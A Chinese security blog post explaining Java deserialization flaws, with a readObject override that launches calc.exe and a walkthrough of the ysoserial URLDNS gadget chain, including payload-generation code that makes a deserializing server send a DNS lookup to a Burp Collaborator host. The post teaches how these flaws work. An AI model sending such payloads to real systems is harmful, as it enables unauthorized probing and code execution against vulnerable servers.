java反序列化连续剧一

2020-03-21

最近看了些java反序列化的文章，感觉都不是太有逻辑，写个文章边记录边整理。估计内容太多，可能要写几篇。这篇先写单纯的反序列化，不涉及rmi/jndi等内容。
和python、php类似，java也有序列化和反序列化的功能，自然也存在类似的安全问题。将对象序列化其实就是将对象转换为字节序列，方便保存和传输。先写一个正常的序列化和反序列化过程看看。
首先定义一个类，这个类需要继承Serializable才能被反序列化。这个接口其实是空的，只是相当于一个标记。然后需要定义serialVersionUID，否则可能会因为序列化的版本号不同报错。

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;

class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    public String name;
    public int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
}

然后定义序列化的函数，其实就是调用ObjectOutputStream的writeObject方法，将传入的对象保存到文件。文件开头是16进制aced0005

public class serial {
    public static void ser(Object obj){
        try (//创建一个ObjectOutputStream输出流
             ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.txt"))) {
            //将对象序列化到文件

            oos.writeObject(obj);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

反序列化的函数，其实就是调用ObjectInputStream的readObject方法，从文件中读取对象。反序列化创建对象的过程是和构造函数无关的，即使修改构造函数也不会改变生成的类的内容。

    public static void unser() {
        try (//创建一个ObjectInputStream输入流
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.txt"))) {
            Person p = (Person) ois.readObject();
            System.out.println(p.name);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

	//主函数
    public static void main(String[] args) throws Exception {
        Person person = new Person("halfblue", 23);
        ser(person);
        unser();

    }
}

其实和别的语言差不多，核心就是writeObject和readObject两个方法(感觉相当于php的serialize和unserialize)。而反序列化过程其实只调用了readObject这一个函数。所以利用方法也就是找重写了这个函数的类，再调用重写过的readObject方法(有点像python反序列化的reduce)。比如给上面的person类重写个弹计算器的readObject

class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    public String name;
    public int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("calc.exe");
    }
}

这样反序列化的时候会执行重写后的readObject，弹个计算器。
当然这只是观察重写readObject会有什么效果，真实环境不会有这样的代码。但有可能有某个类重写了readObject方法，被反序列化的时候实现了某些意料之外的效果。
分析个实例，p神推荐的URLDNS利用链，来自ysoserial。首先是漏洞代码vul.java：

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class vul {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

其实这行代码就相当于php中的unserialize(file_get_contents(“out.bin”))，非常直白。
然后分析下生成序列化文件的代码，这里的效果是在反序列化时实现一个dns请求，类似一个盲ssrf的效果。

public static void main(String[] args) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://mj9zyafbickia0sjiv3m19nvkmqde2.burpcollaborator.net");//burp的collaborator
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");//利用反射修改私有属性
        f.setAccessible(true); //URL类的hashCode属性是private的，需要setAccessible 
        //f.set(url, 123);可以设置hashCode不等于-1避免在序列化阶段发送DNS请求
        hashMap.put(url, "xxx"); //第二个参数随意取值，不重要，但需要是可以序列化的
        f.set(url, -1); //注意要先hashMap.put再执行这一行，因为执行put之后hashCode已经不为-1，需要重新赋值为-1才能在反序列化时再次计算hashCode，触发DNS请求
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
    }

分析下原理：这段代码最后传到writeObject的是一个HashMap类型的对象，所以肯定是HashMap的readObject重写了，跟进去看一下：

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

根据ysoserial的注释，是hash操作触发了DNS，所以跟一下最后一行的hash函数

static final int hash(Object key) {
	int h;
	return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这个hash函数调用了key的hashCode方法，这里的key是URL类型的对象，而这个类正好有个hashCode方法,所以这里调用的就不是HashMap类的hashCode而是URL的hashCode了，长这样：

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

hashCode等于-1的时候调用handler.hashCode，再看看handler的hashCode是什么：

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

中间的InetAddress addr = getHostAddress(u)这里调用了getHostAddress方法，这个方法一看名字就是发起了DNS请求，分析到此结束。

可以发现其实利用方法和php的差不多，也是利用不同类同名的方法。调用链就是HashMap.readObject()->HashMap.putVal()->HashMap.hash()->URL.hashCode()

参考链接
https://xz.aliyun.com/t/7157
https://www.heibai.org/post/1529.html